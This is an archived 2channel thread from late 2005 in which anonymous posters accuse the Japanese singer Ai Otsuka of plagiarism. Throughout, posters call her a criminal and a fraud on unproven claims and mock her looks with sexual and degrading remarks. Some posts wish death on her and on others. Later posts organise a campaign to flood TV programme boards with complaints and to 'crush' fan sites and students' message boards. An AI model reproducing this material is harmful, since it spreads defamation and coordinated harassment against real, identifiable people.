2ちゃんねる ★スマホ版★ ■掲示板に戻る■ 全部 1- 最新50  

■ このスレッドは過去ログ倉庫に格納されています

大塚愛の盗作を本気で許せない人達集まろう!

1 :名も無き音楽論客:2005/12/01(木) 23:21:07 ID:kGztKVzG
活動停止させるべき?みたいなスレが終わりそうだから代わりに新しいの立てた。
自分は盗作は許せない。
ファンとかファンじゃないとかって問題より盗作しといてあの態度は許せない!

2 :名も無き音楽論客:2005/12/01(木) 23:39:50 ID:6R2GQiwy
2get
俺はちなみに大塚に限らずパクリアーティストは全員許せないがな

3 :名も無き音楽論客:2005/12/02(金) 00:16:09 ID:???
他のアーティストもみんな盗作…俗に言うパクリをしているだろ?
B'zが何故日本一の売上をだせれたのか。
それはたしかに昔からかなり出してるからな、だがサザンやミスチルは追いついては来れない、何故か?
B'zが何故何枚も過去にミリオンをだしたのか?
答えはなんだ?

至極簡単
稲葉の日本人ではかつて聞いたこともないような声&ルックス
それに加えた松本のパクリスキルであろう。
他のアーティストもパクリをしているが松本ほど…あれほど完成度高く、稲葉の声にあうように工夫したパクラーはいない。すべて松本のパクリスキルのおかげだろう。
B'zがパクリパクリ盗作盗作言ってる奴がたくさんいる。
だがしかし他のアーティスト等もパクリや盗作はしている!
何が違うのか?!
パクリ方だよ!
おそらく日本で最強のパクラーは松本であろう。
他のやつらはずさんなパクリしかできない、だが松本は違うんだ、パクリのプロ、パクリストだ。
そこらへんの作曲者や編曲者とはレベルが違うんだよ、だから売れたんだよ。
松本はすげーんだよ


4 :名も無き音楽論客:2005/12/02(金) 00:26:39 ID:???
>>3
どこを縦読み?

5 :名も無き音楽論客:2005/12/02(金) 17:43:01 ID:???
>>3
お前他の大塚スレでもそんなこと言ってたろ。

6 :名も無き音楽論客:2005/12/02(金) 21:46:50 ID:NKUjK+91
age

7 :名も無き音楽論客:2005/12/03(土) 00:06:51 ID:1aDfrAmf
とにかく、盗塚のパクリは酷い。
認めないファンもいるけど、誰が見てもパクリは明らかだ。
エイベックスはもの凄い圧力で、この問題をもみ消そうとしているらしいし、謝罪はもちろんない。
このまま鎮火するのをただ待っているだけ。
それをまんまと見過ごすのはどうかと思う…。

8 :名も無き音楽論客:2005/12/03(土) 00:12:29 ID:???
スレかぶってるんでsage

9 :69:2005/12/03(土) 12:14:37 ID:kFV4yEbh
B'zとレンジと大塚その他パクり野郎は消えるべきっしょww

そもそも平気でパチった奴を堂々とうたって売る神経をききてぇよ。

10 :名も無き音楽論客:2005/12/03(土) 15:20:52 ID:r86NZjm6
プラネタニウム最高


エフエフとリッカうぜぇー死ね死ね死ね死ね死ね死ね死ね死ね死ね死ね死ね死ね死ね

リッカへたくそ

あいちん可愛いキスしたいあいちんの歌でオナニーできます

11 :名も無き音楽論客:2005/12/03(土) 16:27:11 ID:???
はいはい

12 :闇邪神吏偶遮光:2005/12/03(土) 17:14:14 ID:V6tcxRBm
大塚の場合は全作品が盗作だからね

13 :名も無き音楽論客:2005/12/03(土) 20:47:59 ID:???
大塚はおっさんですか?
シャアですか?

ハハハハハ HEY!!

14 :名も無き音楽論客:2005/12/03(土) 23:48:17 ID:???
自分も盗塚は許せません
今まで曲だけだったからちょっとかぶるのはしょうがないとは思ってたけど
今回はPVも。あれはひどすぎる
あとなぜ盗塚愛は報道されないかというと詩をそのままパクってないかららしいです
『似てる』じゃ報道されない、著作権っていうのは難しいってききました

15 :名も無き音楽論客:2005/12/04(日) 21:38:16 ID:???
     ∠二`-=-'"~<.,,,,,_              ;;;;;;;;;:::::::::::::~~''‐- 、,
    ,,=''"~        =         /''''''~~\\~~~~~~~~~~~~~ヽ
   ,/             \       <       ヽヽ
   l  ⊂●⊃   ⊂●⊃  'l, ┌i     \,,,,,,___  ヽヽ________\
  / "            " iヽ .|.]|      .   ~~~~~.ヽ::::::::::::::::::::::::::::::::::::::、.、
   |   、,._,, ,,.,,人, ,_____,    ll . .| .|>>1が糞スレ立てている間に:::::::::::::::::::::::::::::::::、.、
   レ/   __   _ `'''  N|. i .i文明はどんどん発達していく・・・・・・。::___:、.、
  /    `ヽ-、\/ /    l┘i .i          .       ヽ'''二~~~ヽヽ____,,..フ.、.、
  / /  ∠ ̄    <    | |--i。|,,,,,,,,,,__       .       ヽ::::::::::::::::::::::::::::::::::::::、.、
 (,,/   /      `ヽ   し(~~~! i―---ニ‐-,,     .       ヽ::::::::::::::::::::::::::::::::::::::、.、
  |   レ  ・   ・  ヽllー- ..._     _              _  ヽ:::::::::::::::::::::::::::::::::::i 、
   レ|  (__ " -◇- "┌'|| .lニ;t |    | |  O               | |/  '- ;;;;;;;;;;;;;;;;;;;;;,,,..。ノ ヽ
    \   l_    ,  / .|| .レ' ||    | |. t┐┬r ┬ ,.;=、、. ,.;=、l | ,.;:=、、. ,.;:=、、 t‐r=o   i
   (二二! ゙(_/`'"\)!/|| .| . || _ ..,. | |  | |. ',.', ,/ i ,==-! i 「. | | l i.  i l. l i.  i l. | |   _,,ノi
            ./ '┴,..ニ.┬''"  | |  | |   ',V'  l.',  ,iハ.', ,' |. ',.', リ ',.', リ .| |三三, -."
           ∠ -‐ '' ||_.. -‐.′



16 :名も無き音楽論客:2005/12/09(金) 19:12:03 ID:VQlpMe/i
犬塚藍 記事
http://www.tanteifile.com/tamashii/scoop_2005/11/06_01/index.html
犬塚藍 記事2
http://webnews.livedoor.biz/archives/50186898.html
犬塚藍 webサイト
http://inutsukaai.hp.infoseek.co.jp/
神のサイトでございまするw

いい加減アンチは行動起こせよ!
だから一人じゃ何もできない糞アンチ呼ばわれされるんだよw
抗議とかTVとか新聞社、週刊誌等に入れまくってるか??
ちっとも盗塚は潰れていないぞw


17 :大塚は盗作してないから:2005/12/09(金) 19:27:16 ID:eGqvQsYQ
           ,..-─‐-..、
            /.: : : : : : : .ヽ
          R: : : :. : pq: :i}
           |:.i} : : : :_{: :.レ′
          ノr┴-<」: :j|
        /:r仁ニ= ノ:.ノ|!           _
          /:/ = /: :/ }!        |〕)  目覚めなさい
       {;ハ__,イ: :f  |       /´
       /     }rヘ ├--r─y/
     /     r'‐-| ├-┴〆    _, 、_  '⌒ ☆
      仁二ニ_‐-イ  | |      ∩`Д´)
      | l i  厂  ̄ニニ¬      ノ  ⊂ノ 
     ,ゝ、 \ \   __厂`ヽ    (__ ̄) ) >>1
     / /\_i⌒ト、_   ノrr- }     し'し′
   └-' ̄. |  |_二二._」」__ノ

18 :ばびろん:2005/12/09(金) 23:28:42 ID:g+eBRxgz
めざめないよーん


19 :名も無き音楽論客:2005/12/10(土) 02:29:49 ID:gI1om7dk
他のスレにも書いたんですが、このスレを見つけたのでまた書きます、すみません。
直接事務所とかに聞けないのかな、詳細について。
ケンカ腰じゃなく普通に聞けば答えてくれるかな。
大塚愛の盗作について、あきらかに聞いててパクリだなって
思うし納得いかない。
マジレスお願いします。

20 :名も無き音楽論客:2005/12/10(土) 04:57:17 ID:YvjIMgYA
オレンジレンジも盗作だらけ

21 :名も無き音楽論客:2005/12/10(土) 09:44:02 ID:???
>>20
証拠もないのに

22 :名も無き音楽論客:2005/12/10(土) 10:18:38 ID:???
レンジは証拠ありまくりだろw
本人がパクリって言ってるし

23 :闇邪神吏偶遮光:2005/12/10(土) 17:28:13 ID:q1ADoeYx
>>16
▼メール
ZAKZAK:desk@zakzak.co.jp   BUBKA:b-master@coremagazine.co.jp
AERA:aera@mx.asahi-np.co.jp  日スポ:webmast@nikkansports.co.jp
中スポ:chuspo@chunichi.co.jp . 週ポス:editorial@weeklypost.com
夕フジ:info@zakzak.co.jp      東スポ1:hope@tokyo-sports.co.jp
ゲンダイ:gendai@kcs.ne.jp    . 東スポ2:iken@tokyo-sports.co.jp
報知:webmaster@hochi.co.jp   サンデー:t.sunday@mbx.mainichi.co.jp
日刊:tv@nikkanhc.co.jp      スポニチ:customer@sponichi.co.jp
東中:tochu@tokyo-np.co.jp    北海:info@hokkaido-np.co.jp
デイリー:dsmaster@daily.co.jp    河北:kahoku@po.kahoku.co.jp


24 :名も無き音楽論客:2005/12/10(土) 19:22:24 ID:MlWDXsnR
盗塚の”盗作”に対するヲタの痛い言い訳集
投稿者: aaaassxkk1 (男性/北海道) 2005/10/30 2:07
採点:
@パクッたって売れてるんだからいいじゃん
ASMILYとかプラネタリウムとか全然似てない。パクリじゃない。
B大塚愛に限らず、どのアーティストもみんなパクッてるじゃん。
C「じゃあオレンジレンジは?○○は?」と必死にその他のパクリアーティストを羅列
Dみんな他の歌手からの影響を受けてるんだから、パクってもOK。
E盗作してたら逮捕されるから、大塚愛はパクってない
F「aiko不細工!」などと普通なら感謝すべきはずのパクリ元のアーティストに対して暴言。


25 :名も無き音楽論客:2005/12/10(土) 20:43:45 ID:gI1om7dk
Fが一番許せない。
恩知らず

26 :名も無き音楽論客:2005/12/10(土) 21:09:51 ID:6lR1amS6
 ネコに風船はラブハンドルズのスピードそのまますぎる!
よく作った本人は何も言わないのか?まだそれほどメジャーになってないのに
ラブハンが可哀想だ!3年位まえからあのメロディは知ってた。大塚愛ずるだ!

27 :名も無き音楽論客:2005/12/10(土) 22:29:18 ID:AueLyzJG
http://nextxp.net/archives/2005/08/rikkietc_vol2.html
↑これは盗塚哀に関して検証してるサイト
他にもあったけど、エイベッ糞に圧力で次々と潰されてるらしい。
てめーらがパクってるくせによ!

28 :名も無き音楽論客:2005/12/10(土) 23:26:08 ID:/tGzHatA
レンジはパクってることがバレバレ
どうせならバレナイようにパクレww(ぉぃ

29 :名も無き音楽論客:2005/12/10(土) 23:33:50 ID:???
大塚やいこaiko糞ブス 整形すんだったら可愛くなりなさ〜い


30 ::2005/12/11(日) 01:20:00 ID:d2UVi8tI
洋楽やら民謡やら邦楽やらを持ち出せばかぶるにきまってる
音楽を知っている人からすれば初心者の戯言


まぁレンジも大塚もきらいだが

31 :名も無き音楽論客:2005/12/12(月) 17:37:18 ID:BSc2mK2s
ハレンチ・パンチはレンジのぱくりじゃね亜qwせdrfgtyふじこlp;

32 :名も無き音楽論客:2005/12/12(月) 23:01:32 ID:DogKHT6r
>>31レンジの花をパクったってうわさされているが・・・・

33 :名も無き音楽論客:2005/12/13(火) 20:55:00 ID:I9VgVuwf
>>32
えっ!ロコローションじゃないんですか!?

34 :名も無き音楽論客:2005/12/13(火) 21:01:01 ID:lm+1lr6m
ここには愛は来ないのかwww

35 :名も無き音楽論客:2005/12/13(火) 21:22:05 ID:???
>>33
('A`)?

36 :名も無き音楽論客:2005/12/13(火) 21:23:33 ID:XAqLA6H+
ローション

37 :名も無き音楽論客:2005/12/13(火) 22:39:01 ID:???
>>34
大塚ヲタでaikoアンチのくせに
姉とaikoライブ参加してaikobonまで熟読した、隠れaikoヲタも来ないなw

38 :名も無き音楽論客:2005/12/14(水) 00:31:02 ID:FCdlCsml
最近、愛っておっさんが今度はレノって名前変えて出てきてるぞw
テラワロスw

39 :名も無き音楽論客:2005/12/14(水) 01:30:14 ID:???
正直、別に大塚が誰の音楽をパクろうとも痛くも痒くもないから。
(まあ普通にバカじゃん?って思うけれど)

お前らが何で許さない!って怒るかイマイチわからん。

40 :名も無き音楽論客:2005/12/14(水) 01:48:37 ID:???
自分の好きなアーティストの曲をパクられたらいい気分はしないと思うが

41 :名も無き音楽論客:2005/12/14(水) 10:37:20 ID:y401wX8H
ってか愛っておっさんは大塚愛のライブにいって
「愛ちゃ〜〜〜〜ん」とか言ってろww歌謡際で大塚愛が歌い終わったとき誰かが
「愛ちゃ〜〜〜〜ん」って叫んでたけどあれ愛っておっさんじゃね??ww

お前は大塚とセクースしてろwwライブ会場だかどっかで大塚と抱き合ってろww
大塚の専属マネジャーだかよくライブとかで演奏しているギターとかの人たちみたいになって
大塚とつきっきりでいろ!!エイベックスにいけばなんとかしてもらえるかもね!!エイベックスに電話して頼んでみろよww



ってかもう2chくんなよ!!荒れるから!!マジいらつく!!



ギターとかベースとかの人って惨めだろうねww





大塚がチェリッシュ(英語ワカラソ;;)って曲出してたみたいだけど
チェリッシュって曲ニュースだか誰か歌ってたよね。またパクリか!こりね〜〜奴ww

42 :名も無き音楽論客:2005/12/14(水) 10:47:49 ID:mbLEUDaO
一生そうやって人の悪口言い続けるつもりですか?
顔が分からないってコトを逆手にとってこんなトコで悪口言いふらして、最低
だよ!大塚さんのファンの為にもいい加減やめて下さい。卑怯です。

43 :名も無き音楽論客:2005/12/14(水) 12:08:21 ID:???
皆さん大塚愛がテレビやラジオにでたら抗議しまくりましょう!よろしくお願いします

44 :名も無き音楽論客:2005/12/14(水) 13:16:09 ID:???
僕はシンガーソングライターを志しております。
将来は偉大なる大塚愛さんの曲をパクり、ヒットを狙いたいです。

45 :名も無き音楽論客:2005/12/14(水) 17:40:29 ID:yDxM5mja
>>44がん枯れ

46 :名も無き音楽論客:2005/12/14(水) 23:16:33 ID:FCdlCsml
>>42
愛っておっさんキターw

47 :名も無き音楽論客:2005/12/15(木) 00:02:08 ID:???
>>46
千秋という名前も使ってるしな
大塚愛もパクリだが、愛とかいうおっさんもパクリ魔だな

48 :名も無き音楽論客:2005/12/15(木) 19:47:16 ID:???
>>42
だったらお前は名前と顔を公表しろよ。善人ぶったってお前も卑怯には変わりねんだよww

49 :名も無き音楽論客:2005/12/16(金) 15:06:21 ID:ZBduHbdE
愛っておっさんは自演やめなよ^^

50 :名も無き音楽論客:2005/12/16(金) 16:48:37 ID:ZBduHbdE
>>42お前が卑怯!!詐欺したくせにwww

51 :名も無き音楽論客:2005/12/16(金) 16:53:52 ID:???
大塚愛は犯罪者だと思う。

歌手辞めますか?
人間止めますか? だ

52 :名も無き音楽論客:2005/12/17(土) 20:11:47 ID:KNgu1xNu
大好きだったドラマ花より男子が終わってしまったけれど、続編がやるみたい。
あれにいちいち盗塚哀のプラネタリウムが流れる度に本当に不愉快になった!!
花男公式サイトのBBSへスタッフやTBS宛に、盗作をしているから今後大塚愛を一切使わないで欲しいって書き込みました。
もし、これを見て同じ事を思った人。
花男BBSへ「続編をやる時は絶対大塚愛は使わないで!」と抗議入れませんか?!
不愉快でたまりません!!

53 :名も無き音楽論客:2005/12/17(土) 20:25:37 ID:sCK3krOb
大塚愛のプラネタリウムって本当素敵だね〜〜!!!
何で大塚愛cってあんな素敵な曲作れるんだろう・・・
本当私感動して泣いちゃった><
素敵すぎてもう・・・愛ちんダイスキです><
愛ちんって素敵だねーーー!!
プラネタリウムって素敵だねーーー!!
と毎日みんなで大塚愛ちんの素敵っぷりを語ってますぅ><vv




54 :名も無き音楽論客:2005/12/17(土) 22:19:06 ID:???
B'zの事も思い出してあげてね

55 :名も無き音楽論客:2005/12/19(月) 13:25:43 ID:EUFJWlI0
っていうか、アンチは何にもできねー糞どもだなw
盗塚が消えねぇのは必死で潰そうと本気でしてないし、出来もしないからだろ?
だから、ヲタのおっさんどもに嘗められるんだ!
マジ、何か行動起こせよ!!!!

56 :名も無き音楽論客:2005/12/19(月) 13:33:16 ID:???
本当は似てないって気付いてるから
行動起こせないんじゃない?

57 :名も無き音楽論客:2005/12/19(月) 14:07:32 ID:4zFsR0pb
>>56
大塚ヲタ乙

58 :名も無き音楽論客:2005/12/19(月) 14:11:52 ID:???
最近見かけないけど、アンチの勢いが物凄い時があった。
「公式掲示板や、一部のファンサイトを荒らして閉鎖に追い込んだ」だの
「CMに大塚を起用するなメールを、ライオンに送りまくった」だの数々の武勇伝を、アンチが誇らしげに自慢してた。
私も大塚は嫌いだけどそこまで執着しなくても、と思った。

59 :名も無き音楽論客:2005/12/19(月) 14:21:40 ID:???
まあ9、10月くらいにあれだけ騒がれてニュー速にもスレ乱立したのに
結局うやむやになって終わったからね エイベも盗作に対して一切コメント出さないし
ちょっとやそっとじゃ何の反応も示さないのは分かったから

60 :名も無き音楽論客:2005/12/19(月) 22:13:39 ID:sYIvxdLA
>>53 糞塚ファン乙or死

61 :名も無き音楽論客:2005/12/19(月) 23:13:19 ID:EUFJWlI0
>>58->>59
じゃあ、アンチ的に本気で盗塚消えて欲しいんなら何かいい案ないのか??
エイベは裏でさぞ馬鹿にしてるだろうよ。
最近盗塚を見ると姉歯とカブってきた…。詐欺師並んでさくらんぼw

62 :名も無き音楽論客:2005/12/20(火) 15:13:52 ID:nC0kZjr1
だったらあんたが自分で何か考えて行動起こせよ(´ー`)

>>53 ヒント:素敵だね



63 :名も無き音楽論客:2005/12/20(火) 19:39:34 ID:gP7uViwp
携帯からなんでアドレスは分からないが
「ぱくりんぼ」でググってみ。
それか「犬塚藍」



64 :名も無き音楽論客:2005/12/21(水) 02:19:32 ID:hihEg1k/
犬塚藍 記事
http://www.tanteifile.com/tamashii/scoop_2005/11/06_01/index.html
犬塚藍 記事2
http://webnews.livedoor.biz/archives/50186898.html
犬塚藍 webサイト
http://inutsukaai.hp.infoseek.co.jp/

65 :名も無き音楽論客:2005/12/21(水) 20:26:57 ID:SQEcXuyu
私も、花より男子好きだったけど、大塚愛の歌が流れる度、不快感を感じてました!
だってパクリなのに売れてるなら、私も同じように整形して大塚愛の曲を盗作したいくらい
なんだよね(笑)
でも大塚愛の曲パクる程、私アホじゃないし。(笑)原曲の歌手の人が可哀相でしょうがない(笑)



66 :名も無き音楽論客:2005/12/26(月) 11:56:46 ID:3l+BGBaO
大塚愛のスマイリーレコーディングはデビュー前、だからあんなに声が若い。
ココまで言われて納得しないのか!?これは最近の音楽誌に掲載された情報だぞ。
証拠は各書店にて販売中の音楽誌だ!最近だからな!

証拠を知りたければあらゆる日本の音楽雑誌買うんだな!!
しつこいようだけど事実なんだよ!信じる信じないは自由。
信じない奴は信じたくないだけだろ!?


67 :名も無き音楽論客:2005/12/26(月) 22:10:13 ID:???
>>66
いいかげん・・あきたよ

>>55
私も何か行動を起こしたい・・
けど何をすればいいのやら

68 :名も無き音楽論客:2005/12/27(火) 09:37:20 ID:???
>>66 はいはいわろすわろす

69 :名も無き音楽論客:2005/12/27(火) 11:39:16 ID:lbP6sfGV
42 :名も無き音楽論客:2005/12/14(水) 10:47:49 ID:mbLEUDaO
一生そうやって人の悪口言い続けるつもりですか?
顔が分からないってコトを逆手にとってこんなトコで悪口言いふらして、最低
だよ!大塚さんのファンの為にもいい加減やめて下さい。卑怯です。

盗作をした犯罪者の悪口して何が悪いんですか?御前なんか犬の糞以下だ。
さっさと消えろバーカwww


70 :糞スレ:2005/12/27(火) 11:49:46 ID:???

     ,,. t'' ==+- _''ィ 、               ,r'" ||  」├‐‐` .._
    ,r'" ||  ||   it- ヽ ,.. -──--- .._r‐、. /  =|| ̄  ||   ||  ゙ 、
  , "|─‐t─‐ll,r'⌒ヽ,. -‐'"        t‐′ v '⌒ ヽ |r==+ ==|==゙ .
  ,' ||  ||.__,'   ,r ´,,. -‐ ''  _,.  ,,.   ヽ.  ,!   {. ',||   ||    ||   || ゙
 , r=+ ̄ll  ,. ! ,r",.r''" ,.r '´,.r'" ,.r'"  /  t   '、   { }|___.|r ==+=+= i
 !‖ ‖ ,. - t,.ィ./  /  / / / / 〃 い ¨i_ ヽ.   ,.ィ、   ||   ||  ||   !
 l + ィ'´  ソ'/ ,./ .// 〃 / / ll〃! ', '  l  `t _,.ィ"⌒ '-、-+─+--'
 ヽヽ{   /'   // // / /,; ,'{ !  ll ll.  ', ',  ゝ‐t  T ヽ    , |  ‖ .'
   ヽ>、 / 〃// 〃.// /リ {. |.l | ‖ ‖、 ', ', \ ゝ-ゝ      ノ |  ‖r'
   /  ァ 〃// 〃!// / {.{ .! l ヽト .ハl_,,.- ヽヾヾ、 \\ !`ヽ.._,.ィ"--<
    ,>┐ l!l .! ! l,l l! l!゙l!、 l! ヾ ``>'"    ヽヾヾ、  '',,'',!   | '',,乂/j
   ,'  !  ! ! レレ'     ヽ    "  .,ュヽ==ミュ 、  t、 ', t--t''  '., !
    {  ', ! ! l ゙ュて ⌒ヾ       〃    ヽ:::ヽ ト、ト、い  ',____,,」.リ
     ̄ .,.l ハ !ヽ{o;!.   }}      {{     l;;;;o}八 l ヘ}     /
       ハハl ゝ,r゙‐‐‐'' 、____.r──-`ー、- ''"(___リ  ゙}l!l!   ///
          ,!  ヽ.____ィ ・ ゝ.___,.. ィ;;;;;0;;;ツ''"  .|   / //
       --+ ..,_                     l ,r'/,. rソ"
        __ヽ_,...   (___,.r .,___ツ     -'''´ ̄ ̄ノソ  /
       __,...,........r. 、    ゙ー‐''        ̄',= " リ.//
     / ,! /×× 、 ゙ 'ー ..,___ _,,... -‐ " ,.r'''y'''j ヽ.
     ヽ{{××× ゙ー''~,ー--t_,..rヘ._,.,_rァ--'' ‐‐{__.r' t'× }
                        糞スレ立てんなよ



71 :名も無き音楽論客:2005/12/27(火) 12:26:13 ID:???
>>69 はいはい大塚ヲタわろすわろす

72 :ユイ:2005/12/28(水) 16:15:29 ID:ewBVeH1w
aikoは好きだけど大塚は嫌い

73 :名も無き音楽論客:2005/12/28(水) 16:58:30 ID:???
とりあえずファンから潰そうと考えている。
とくに高校生向けの掲示板とか、ファンサイトとかな。


74 :名も無き音楽論客:2005/12/28(水) 17:02:13 ID:???
          Λ_Λ          Λ_Λ          Λ_Λ
      (( ( ^ω^)      (( ( ^ω^)      (( ( ^ω^)
       /     \      /     \      /     \
    (( < ヘ    々 )  (( < ヘ    々 )   (( < ヘ    々 )   呼んだかい?
      ヾ__ミ   ミソ     ヾ__ミ   ミソ      ヾ__ミ   ミソ
       )   <          )   <          )   < 
     / /\ \       / /\ \      / /\ \
    / /    )  )    / /   )  )     / /   )  )
  / /     |  |   / /     |  |   / /     │ |
 (___)     (__) (___)    (__) (___)      (__)

75 :名も無き音楽論客:2005/12/28(水) 18:01:10 ID:???
>>74 呼んでねーよ。

76 :名も無き音楽論客:2005/12/29(木) 00:39:03 ID:dBoKY4m6
>>73 おk、そのテで逝きましょうw
あと、番組への苦情モナー。

77 :名も無き音楽論客:2005/12/29(木) 02:33:31 ID:YPX29Zwi
「プラネタリウム」って曲、FF10の「素敵だね」って曲パクったって本当?
もしそうだったらFFファンとしては許せんよ。
その上大塚愛って音痴だし!!マジ市んでほしいんだけど!!

78 :ばびろん:2005/12/29(木) 09:29:15 ID:L74HooxR
77 禿同!!

79 :名も無き音楽論客:2005/12/29(木) 11:10:39 ID:???
皆で力あわせて潰そうぜwww

80 :名も無き音楽論客:2005/12/29(木) 12:17:40 ID:???
出来ることから、こつこつと。
それで公式掲示板も潰れたんだしなww

81 :名も無き音楽論客:2005/12/29(木) 12:59:47 ID:???
>>80
頑張ろうな∧( ´∀`)ゞ

82 :名も無き音楽論客:2005/12/29(木) 14:25:55 ID:dBoKY4m6
>>52の意見も良いと思う!
皆で番組BBSへ抗議入れよう!!
TV関係者への影響があれば盗塚自身のイメージもどんどん悪くなるって!

83 :名も無き音楽論客:2005/12/29(木) 14:36:18 ID:dBoKY4m6
http://www.geocities.jp/aichinloveoffice/
↑皆!とりあえず盗塚キモヲタサイトw

84 :名も無き音楽論客:2005/12/29(木) 14:41:25 ID:???
とにかく皆で出来ることを頑張ろう!!

85 :名も無き音楽論客:2005/12/29(木) 14:51:33 ID:???
紅白出場もなんとかしたい

86 :名も無き音楽論客:2005/12/29(木) 15:07:45 ID:???
でも訴えてもエイベッ糞の手でもみ消されそうな悪寒がするのは漏れだけ?

87 :名も無き音楽論客:2005/12/29(木) 17:33:44 ID:EZAuSoEa
大塚さっさと消えろ

88 :名も無き音楽論客:2005/12/29(木) 17:42:04 ID:???
>>86
そうなったとしても騒げば噂が広まる
大塚のイメージが悪くなる

89 :名も無き音楽論客:2005/12/29(木) 18:06:19 ID:dBoKY4m6
>>88全く同感。だからってエイベに手出しも出来ないのが奴らの思うツボだ
エイベッ糞の手に負えないくらいアンチが噂を広めれば、確実に業界関係者に情報は行き渡る
もし盗塚哀がニュース沙汰にされたらアンチの皆で盛大に祝おう!!
大勢のアンチが集まればそれだけの力がマジであると思う

90 :名も無き音楽論客:2005/12/29(木) 22:11:01 ID:u3+FeQ0Y
>>89
私もそう思いますよ
がんばりましょう!

91 :名も無き音楽論客:2005/12/29(木) 22:24:17 ID:hK/42DY+
あいつはAVにでも出たほうがいいんじゃないか?
デビュー作「さくらんぼ狩り」とかで。

92 :名も無き音楽論客:2005/12/29(木) 22:33:57 ID:???
>>91
無理だよ
顔はいいけどスタイルよくない・・

93 :名も無き音楽論客:2005/12/29(木) 22:42:35 ID:C+tw8vIl
犬塚さんを尊敬!!
あの程度の歌唱力と盗作で紅白出場!!



正気か?

94 :名も無き音楽論客:2005/12/29(木) 22:53:25 ID:???
・・ほんと
紅白に盗塚がでるとか
ありえないよ・・
しかもプラネタかよ・・
FFファンとしてここはRIKKIさんにでてほしいー

95 :名も無き音楽論客:2005/12/29(木) 23:03:12 ID:C+tw8vIl
来年もパクリまくりの一年にするのかしらね〜

96 :名も無き音楽論客:2005/12/29(木) 23:04:29 ID:???
そうなる前に阻止したいと思うのは
私だけですか?

97 :糞スレ:2005/12/29(木) 23:09:51 ID:???
     ,,. t'' ==+- _''ィ 、               ,r'" ||  」├‐‐` .._
    ,r'" ||  ||   it- ヽ ,.. -──--- .._r‐、. /  =|| ̄  ||   ||  ゙ 、
  , "|─‐t─‐ll,r'⌒ヽ,. -‐'"        t‐′ v '⌒ ヽ |r==+ ==|==゙ .
  ,' ||  ||.__,'   ,r ´,,. -‐ ''  _,.  ,,.   ヽ.  ,!   {. ',||   ||    ||   || ゙
 , r=+ ̄ll  ,. ! ,r",.r''" ,.r '´,.r'" ,.r'"  /  t   '、   { }|___.|r ==+=+= i
 !‖ ‖ ,. - t,.ィ./  /  / / / / 〃 い ¨i_ ヽ.   ,.ィ、   ||   ||  ||   !
 l + ィ'´  ソ'/ ,./ .// 〃 / / ll〃! ', '  l  `t _,.ィ"⌒ '-、-+─+--'
 ヽヽ{   /'   // // / /,; ,'{ !  ll ll.  ', ',  ゝ‐t  T ヽ    , |  ‖ .'
   ヽ>、 / 〃// 〃.// /リ {. |.l | ‖ ‖、 ', ', \ ゝ-ゝ      ノ |  ‖r'
   /  ァ 〃// 〃!// / {.{ .! l ヽト .ハl_,,.- ヽヾヾ、 \\ !`ヽ.._,.ィ"--<
    ,>┐ l!l .! ! l,l l! l!゙l!、 l! ヾ ``>'"    ヽヾヾ、  '',,'',!   | '',,乂/j
   ,'  !  ! ! レレ'     ヽ    "  .,ュヽ==ミュ 、  t、 ', t--t''  '., !
    {  ', ! ! l ゙ュて ⌒ヾ       〃    ヽ:::ヽ ト、ト、い  ',____,,」.リ
     ̄ .,.l ハ !ヽ{o;!.   }}      {{     l;;;;o}八 l ヘ}     /
       ハハl ゝ,r゙‐‐‐'' 、____.r──-`ー、- ''"(___リ  ゙}l!l!   ///
          ,!  ヽ.____ィ ・ ゝ.___,.. ィ;;;;;0;;;ツ''"  .|   / //
       --+ ..,_                     l ,r'/,. rソ"
        __ヽ_,...   (___,.r .,___ツ     -'''´ ̄ ̄ノソ  /
       __,...,........r. 、    ゙ー‐''        ̄',= " リ.//
     / ,! /×× 、 ゙ 'ー ..,___ _,,... -‐ " ,.r'''y'''j ヽ.
     ヽ{{××× ゙ー''~,ー--t_,..rヘ._,.,_rァ--'' ‐‐{__.r' t'× }
                        だから糞スレ立てんなよ





98 :名も無き音楽論客:2005/12/29(木) 23:14:36 ID:???
>>92
×顔はいいけどスタイルよくない
○顔もスタイルもよくない

史上稀に見るパケ写詐欺になりそうな悪寒

99 :名も無き音楽論客:2005/12/29(木) 23:21:00 ID:???
>>98
あ、はいそうでした・・

でも、顔もよくなくて性格もよくなくて歌もよくなくて音痴なのに
なんで盗塚は売れてんのかねぇ・・

100 :名も無き音楽論客:2005/12/29(木) 23:36:54 ID:C+tw8vIl
それはシャチョサンに対しておなごの武器使用しているからでは?
この業界じゃお約束だろうけど


101 :名も無き音楽論客:2005/12/29(木) 23:44:33 ID:???
>>99
メディアによる宣伝の力
あとバカなリスナーが多いから
じゃね?

102 :名も無き音楽論客:2005/12/29(木) 23:47:07 ID:???


























103 :名も無き音楽論客:2005/12/29(木) 23:52:22 ID:???
紅白の日が迫ってくる
なんかこのまま盗塚が紅白に出るかと思うと
恐ろしくなってきたよ

104 :名も無き音楽論客:2005/12/30(金) 00:51:29 ID:tQI43J7k
よく、盗塚は盗作じゃなくてインスパイアだとか都合良く言ってごまかす人間てさ
『Inspire the Next』を売りにしてる日立グループさんに失礼だw
パクリ会社かよ!

マジ、番組とかファンBBSとかに抗議入れまくって盗塚をじわじわと潰して行こうぜw

105 :名も無き音楽論客:2005/12/30(金) 01:14:43 ID:e3WxSA0/
「プラネタリウム」のメロディが「素敵だね」のパクりではないか?とは、今まで騒がれてきた事ですが、歌詞の方でパクられた疑いのあるアーティストを見つけました。
それは、Plastic treeの「プラネタリウム」という曲です。
大塚愛ちゃんの歌詞で全体に流れているのは、君はこの星空のどこかにいて、逢えるように祈っているけど、祈っていたのがプラネタリウム=偽物の星空だったから逢えない、という物でしたよね?
Plastic treeの歌詞では、愛ちゃんのように具体的な思い出の提示はありませんが、星空を見上げて君との記憶を思い出して、夜空に手を伸ばして君を探すけれど、星空は偽物=プラネタリウムだから、きっと君に届かない、という内容です。

106 :名も無き音楽論客:2005/12/30(金) 01:16:09 ID:e3WxSA0/
「プラネタリウム」のメロディが「素敵だね」のパクりではないか?とは、今まで騒がれてきた事ですが、歌詞の方でパクられた疑いのあるアーティストを見つけました。
それは、Plastic treeの「プラネタリウム」という曲です。
大塚愛ちゃんの歌詞で全体に流れているのは、君はこの星空のどこかにいて、逢えるように祈っているけど、祈っていたのがプラネタリウム=偽物の星空だったから逢えない、という物でしたよね?
Plastic treeの歌詞では、愛ちゃんのように具体的な思い出の提示はありませんが、星空を見上げて君との記憶を思い出して、夜空に手を伸ばして君を探すけれど、星空は偽物=プラネタリウムだから、きっと君に届かない、という内容です。

